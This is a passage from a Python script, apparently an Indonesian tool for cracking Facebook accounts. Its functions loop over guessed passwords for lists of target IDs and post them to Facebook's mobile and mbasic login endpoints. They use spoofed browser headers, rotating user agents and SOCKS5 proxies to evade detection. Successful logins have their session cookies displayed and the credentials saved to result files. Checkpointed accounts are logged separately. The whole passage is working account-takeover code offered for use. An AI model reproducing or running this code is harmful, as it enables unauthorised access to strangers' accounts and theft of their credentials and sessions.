  903.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  904.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  905.                     cetak(CYXID)
  906.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  907.                     akun.append(idf+'|'+pw)
  908.                     break
  909.                    
  910.                 if 'no' in gabriel:
  911.                     cp+=1
  912.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  913.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  914.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  915.                     cetak(CYXID)
  916.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  917.                     akun.append(idf+'|'+pw)
  918.                     ceker(idf,pw)
  919.                     break
  920.             elif "c_user" in ses.cookies.get_dict().keys():
  921.                 if 'no' in taplikasi:
  922.                     ok+=1
  923.                     coki=po.cookies.get_dict()
  924.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  925.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  926.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  927.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  928.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  929.                     cetak(CYXID)
  930.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  931.                     break
  932.                 elif 'ya' in taplikasi:
  933.                     ok+=1
  934.                     coki=po.cookies.get_dict()
  935.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  936.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  937.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  938.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  939.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  940.                     cetak(CYXID)
  941.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  942.                     cek_apk(kuki)
  943.                     break      
  944.                
  945.             else:
  946.                 continue
  947.         except requests.exceptions.ConnectionError:
  948.             time.sleep(31)
  949.     loop+=1
  950.    
  951. def metod2(idf,pwv):
  952.     global loop,ok,cp
  953.     prog.update(des,description=f"[bold green]Mobile V2[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  954.     prog.advance(des)
  955.     ua = random.choice(ugen)
  956.     ua2 = random.choice(ugen2)
  957.     ses = requests.Session()
  958.     for pw in pwv:
  959.         try:
  960.             if 'ya' in ualuh: ua = ualu[0]
  961.             link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  962.             data = {
  963. 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  964. 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  965. 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
  966. 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
  967. 'try_number': 0,
  968. 'unrecognized_tries': 0,
  969. 'email':idf,
  970. 'pass':pw,
  971. 'login':'Masuk',
  972. 'prefill_contact_point': '',
  973. 'prefill_source': '',
  974. 'prefill_type': '',
  975. 'first_prefill_source': '',
  976. 'first_prefill_type': '',
  977. 'had_cp_prefilled': False,
  978. 'had_password_prefilled': False,
  979. 'is_smart_lock': False,
  980. 'bi_xrwh': 0
  981. }
  982.             headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
  983.             link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
  984.             po = ses.post(link,data=data,headers=headers,allow_redirects=False)
  985.             if "checkpoint" in po.cookies.get_dict().keys():           
  986.            
  987.                 if 'no' in gabriel:
  988.                     cp+=1
  989.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  990.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  991.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  992.                     cetak(CYXID)
  993.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  994.                     akun.append(idf+'|'+pw)
  995.                     break
  996.                    
  997.                 if 'no' in gabriel:
  998.                     cp+=1
  999.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1000.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1001.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1002.                     cetak(CYXID)
  1003.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1004.                     akun.append(idf+'|'+pw)
  1005.                     ceker(idf,pw)
  1006.                     break
  1007.             elif "c_user" in ses.cookies.get_dict().keys():
  1008.                 if 'no' in taplikasi:
  1009.                     ok+=1
  1010.                     coki=po.cookies.get_dict()
  1011.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1012.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1013.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1014.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1015.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1016.                     cetak(CYXID)
  1017.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1018.                     break
  1019.                 elif 'ya' in taplikasi:
  1020.                     ok+=1
  1021.                     coki=po.cookies.get_dict()
  1022.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1023.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1024.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1025.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1026.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1027.                     cetak(CYXID)
  1028.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1029.                     cek_apk(kuki)
  1030.                     break      
  1031.                
  1032.             else:
  1033.                 continue
  1034.         except requests.exceptions.ConnectionError:
  1035.             time.sleep(31)
  1036.     loop+=1
  1037.    
  1038. def metod3(idf,pwv):
  1039.     global loop,ok,cp
  1040.     prog.update(des,description=f"[bold green]Mbasic V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1041.     prog.advance(des)
  1042.     ua = random.choice(ugen)
  1043.     ua2 = random.choice(ugen2)
  1044.     ses = requests.Session()
  1045.     for pw in pwv:
  1046.         try:
  1047.             if 'ya' in ualuh: ua = ualu[0]
  1048.             nip=random.choice(prox)
  1049.             proxs= {'http': 'socks5://'+nip}
  1050.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1051.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=1862952583919182&kid_directed_site=0&app_id=1862952583919182&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv2.9%2Fdialog%2Foauth%2F%3Fplatform%3Dfacebook%26client_id%3D1862952583919182%26response_type%3Dtoken%26redirect_uri%3Dhttps%253A%252F%252Fwww.tiktok.com%252Flogin%252F%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%26scope%3Dpublic_profile%26auth_type%3Dreauthenticate%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc5ab7d53-0810-47b0-8640-39adfbf98cfd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.tiktok.com%2Flogin%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1052.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  1053.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1054.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1055.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1056.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  1057.             if "checkpoint" in po.cookies.get_dict().keys():           
  1058.            
  1059.                 if 'no' in gabriel:
  1060.                     cp+=1
  1061.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1062.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1063.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1064.                     cetak(CYXID)
  1065.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1066.                     akun.append(idf+'|'+pw)
  1067.                     break
  1068.                    
  1069.                 if 'no' in gabriel:
  1070.                     cp+=1
  1071.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1072.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1073.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1074.                     cetak(CYXID)
  1075.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1076.                     akun.append(idf+'|'+pw)
  1077.                     ceker(idf,pw)
  1078.                     break
  1079.             elif "c_user" in ses.cookies.get_dict().keys():
  1080.                 if 'no' in taplikasi:
  1081.                     ok+=1
  1082.                     coki=po.cookies.get_dict()
  1083.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1084.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1085.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1086.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1087.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1088.                     cetak(CYXID)
  1089.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1090.                     break
  1091.                 elif 'ya' in taplikasi:
  1092.                     ok+=1
  1093.                     coki=po.cookies.get_dict()
  1094.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1095.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1096.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1097.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1098.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1099.                     cetak(CYXID)
  1100.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1101.                     cek_apk(kuki)
  1102.                     break      
  1103.                
  1104.             else:
  1105.                 continue
  1106.         except requests.exceptions.ConnectionError:
  1107.             time.sleep(31)
  1108.     loop+=1
  1109.    
  1110. def metod4(idf,pwv):
  1111.     global loop,ok,cp
  1112.     prog.update(des,description=f"[bold green]Mbasic V2[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1113.     prog.advance(des)
  1114.     ua = random.choice(ugen)
  1115.     ua2 = random.choice(ugen2)
  1116.     ses = requests.Session()
  1117.     for pw in pwv:
  1118.         try:
  1119.             if 'ya' in ualuh: ua = ualu[0]
  1120.             nip=random.choice(prox)
  1121.             proxs= {'http': 'socks5://'+nip}
  1122.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1123.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=1862952583919182&kid_directed_site=0&app_id=1862952583919182&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv2.9%2Fdialog%2Foauth%2F%3Fplatform%3Dfacebook%26client_id%3D1862952583919182%26response_type%3Dtoken%26redirect_uri%3Dhttps%253A%252F%252Fwww.tiktok.com%252Flogin%252F%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%26scope%3Dpublic_profile%26auth_type%3Dreauthenticate%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc5ab7d53-0810-47b0-8640-39adfbf98cfd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.tiktok.com%2Flogin%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522client_id%2522%253A%25221862952583919182%2522%252C%2522network%2522%253A%2522facebook%2522%252C%2522display%2522%253A%2522popup%2522%252C%2522callback%2522%253A%2522_hellojs_6e2e4pat%2522%252C%2522state%2522%253A%2522%2522%252C%2522redirect_uri%2522%253A%2522https%253A%252F%252Fwww.tiktok.com%252Flogin%252F%2522%252C%2522scope%2522%253A%2522basic%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1124.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  1125.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1126.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1127.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1128.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  1129.             if "checkpoint" in po.cookies.get_dict().keys():           
  1130.            
  1131.                 if 'no' in gabriel:
  1132.                     cp+=1
  1133.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1134.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1135.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1136.                     cetak(CYXID)
  1137.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1138.                     akun.append(idf+'|'+pw)
  1139.                     break
  1140.                    
  1141.                 if 'no' in gabriel:
  1142.                     cp+=1
